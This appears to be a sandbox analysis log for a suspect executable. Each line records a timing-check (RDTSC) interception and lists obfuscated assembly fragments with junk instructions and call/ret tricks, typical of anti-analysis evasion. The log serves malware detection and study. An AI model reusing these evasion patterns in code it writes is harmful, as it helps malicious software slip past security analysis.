Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D412D2 second address: D412D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D412D6 second address: D412DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4226E second address: D42282 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF21133AD0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41405 second address: D41428 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDF21054968h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDF21054973h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41428 second address: D41436 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDF21133AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D43191 second address: D4321E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FDF21054966h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push edi 0x00000014 call 00007FDF21054968h 0x00000019 pop edi 0x0000001a mov dword ptr [esp+04h], edi 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc edi 0x00000027 push edi 0x00000028 ret 0x00000029 pop edi 0x0000002a ret 0x0000002b jmp 00007FDF21054972h 0x00000030 xor edi, 262663AFh 0x00000036 push 00000000h 0x00000038 movsx edi, si 0x0000003b push 00000000h 0x0000003d jng 00007FDF21054968h 0x00000043 mov edi, esi 0x00000045 xchg eax, esi 0x00000046 jmp 00007FDF21054979h 0x0000004b push eax 0x0000004c je 00007FDF21054980h 0x00000052 pushad 0x00000053 jmp 00007FDF21054972h 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D414F0 second address: D414F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D441F1 second address: D441F7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D441F7 second address: D44213 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FDF21133AC6h 0x00000009 jmp 00007FDF21133ACAh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D44213 second address: D4421D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45282 second address: D452A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 pushad 0x00000007 jmp 00007FDF21133AD2h 0x0000000c jg 00007FDF21133ACCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D452A3 second address: D4531B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 sub dword ptr [ebp+12453B28h], eax 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FDF21054968h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov di, 5DBDh 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007FDF21054968h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 0000001Dh 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 mov ebx, dword ptr [ebp+122D19B9h] 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 jp 00007FDF21054976h 0x00000057 jmp 00007FDF21054970h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4531B second address: D45320 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46FE0 second address: D46FE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46FE4 second address: D46FE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46FE8 second address: D47007 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FDF21054972h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47007 second address: D4700B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4700B second address: D4700F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4700F second address: D4705D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FDF21133AC8h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 mov dword ptr [ebp+12459080h], esi 0x00000028 or dword ptr [ebp+122D2EA6h], edx 0x0000002e push 00000000h 0x00000030 clc 0x00000031 push 00000000h 0x00000033 mov edi, eax 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FDF21133ACCh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4705D second address: D4706E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF2105496Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D42428 second address: D42494 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FDF21133AC8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 push dword ptr fs:[00000000h] 0x0000002b mov dword ptr fs:[00000000h], esp 0x00000032 mov edi, 5B9E0F8Ch 0x00000037 mov eax, dword ptr [ebp+122D07C5h] 0x0000003d mov di, 1455h 0x00000041 push FFFFFFFFh 0x00000043 movzx ebx, di 0x00000046 nop 0x00000047 jg 00007FDF21133AD8h 0x0000004d push eax 0x0000004e pushad 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D490D2 second address: D490D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D490D6 second address: D490E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007FDF21133AC6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D490E4 second address: D490F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D443BB second address: D443C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D443C1 second address: D443C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D443C6 second address: D443CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D443CC second address: D4444D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov dword ptr [ebp+124544B9h], esi 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007FDF21054968h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 0000001Bh 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 jmp 00007FDF2105496Bh 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c push 00000000h 0x0000003e push ebp 0x0000003f call 00007FDF21054968h 0x00000044 pop ebp 0x00000045 mov dword ptr [esp+04h], ebp 0x00000049 add dword ptr [esp+04h], 00000018h 0x00000051 inc ebp 0x00000052 push ebp 0x00000053 ret 0x00000054 pop ebp 0x00000055 ret 0x00000056 mov eax, dword ptr [ebp+122D000Dh] 0x0000005c mov di, cx 0x0000005f push FFFFFFFFh 0x00000061 mov ebx, dword ptr [ebp+122D2ECBh] 0x00000067 push eax 0x00000068 pushad 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4444D second address: D44453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D44453 second address: D44472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDF21054978h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45452 second address: D45456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D45456 second address: D454FB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push dword ptr fs:[00000000h] 0x00000011 sub ebx, 65910580h 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e push 00000000h 0x00000020 push ebx 0x00000021 call 00007FDF21054968h 0x00000026 pop ebx 0x00000027 mov dword ptr [esp+04h], ebx 0x0000002b add dword ptr [esp+04h], 00000015h 0x00000033 inc ebx 0x00000034 push ebx 0x00000035 ret 0x00000036 pop ebx 0x00000037 ret 0x00000038 movsx ebx, dx 0x0000003b mov eax, dword ptr [ebp+122D11FDh] 0x00000041 mov dword ptr [ebp+122D2E6Eh], eax 0x00000047 push FFFFFFFFh 0x00000049 push 00000000h 0x0000004b push ecx 0x0000004c call 00007FDF21054968h 0x00000051 pop ecx 0x00000052 mov dword ptr [esp+04h], ecx 0x00000056 add dword ptr [esp+04h], 00000019h 0x0000005e inc ecx 0x0000005f push ecx 0x00000060 ret 0x00000061 pop ecx 0x00000062 ret 0x00000063 jmp 00007FDF2105496Ch 0x00000068 and ebx, dword ptr [ebp+122D2BF0h] 0x0000006e nop 0x0000006f jo 00007FDF2105497Ah 0x00000075 jmp 00007FDF21054974h 0x0000007a push eax 0x0000007b jg 00007FDF21054983h 0x00000081 push eax 0x00000082 push edx 0x00000083 push edx 0x00000084 pop edx 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D492E5 second address: D492EA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50650 second address: D50654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50784 second address: D507B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FDF21133AD1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDF21133AD7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50937 second address: D5093C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5093C second address: D50948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5746D second address: D57478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDF21054966h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57478 second address: D5748D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF21133AD1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5748D second address: D57491 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57491 second address: D574A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D574A0 second address: D574A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D574A4 second address: D574AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D574AA second address: D574B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D574B0 second address: D574B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D574B4 second address: D574C9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d je 00007FDF2105496Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D574C9 second address: D574DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 popad 0x00000009 mov eax, dword ptr [eax] 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007FDF21133AC6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D574DD second address: D574ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D57576 second address: D5757D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B4CF second address: D5B4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B4D3 second address: D5B4EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FDF21133ACAh 0x0000000d jg 00007FDF21133ACEh 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B8DF second address: D5B8E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B8E7 second address: D5B8ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B8ED second address: D5B8F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5B8F1 second address: D5B8F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BE54 second address: D5BE58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BE58 second address: D5BE5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BE5C second address: D5BE78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF21054973h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BE78 second address: D5BE80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BE80 second address: D5BEA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDF21054970h 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BEA1 second address: D5BEAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5BEAC second address: D5BEB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FDF21054966h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5C03C second address: D5C042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64E96 second address: D64E9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64E9F second address: D64EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF21133AD8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64EBB second address: D64ED6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FDF21054975h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64ED6 second address: D64EE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 js 00007FDF21133AC6h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64EE8 second address: D64EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64EEC second address: D64F12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e js 00007FDF21133AC8h 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4C06 second address: CE4C2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FDF21054966h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FDF21054974h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4C2C second address: CE4C30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4C30 second address: CE4C63 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDF21054966h 0x00000008 jne 00007FDF21054966h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FDF21054972h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e je 00007FDF21054966h 0x00000024 push edi 0x00000025 pop edi 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4C63 second address: CE4C78 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnc 00007FDF21133AC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jno 00007FDF21133AC6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4C78 second address: CE4C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jbe 00007FDF21054966h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6422B second address: D64231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64231 second address: D64235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6462E second address: D64636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64636 second address: D64647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FDF21054966h 0x0000000a jbe 00007FDF21054966h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64647 second address: D64651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FDF21133AC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64651 second address: D6466D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 jnp 00007FDF2105496Ch 0x00000016 jno 00007FDF21054966h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69533 second address: D6955E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push esi 0x00000006 jmp 00007FDF21133ACDh 0x0000000b pop esi 0x0000000c jmp 00007FDF21133ACAh 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 jne 00007FDF21133AC6h 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6955E second address: D69567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
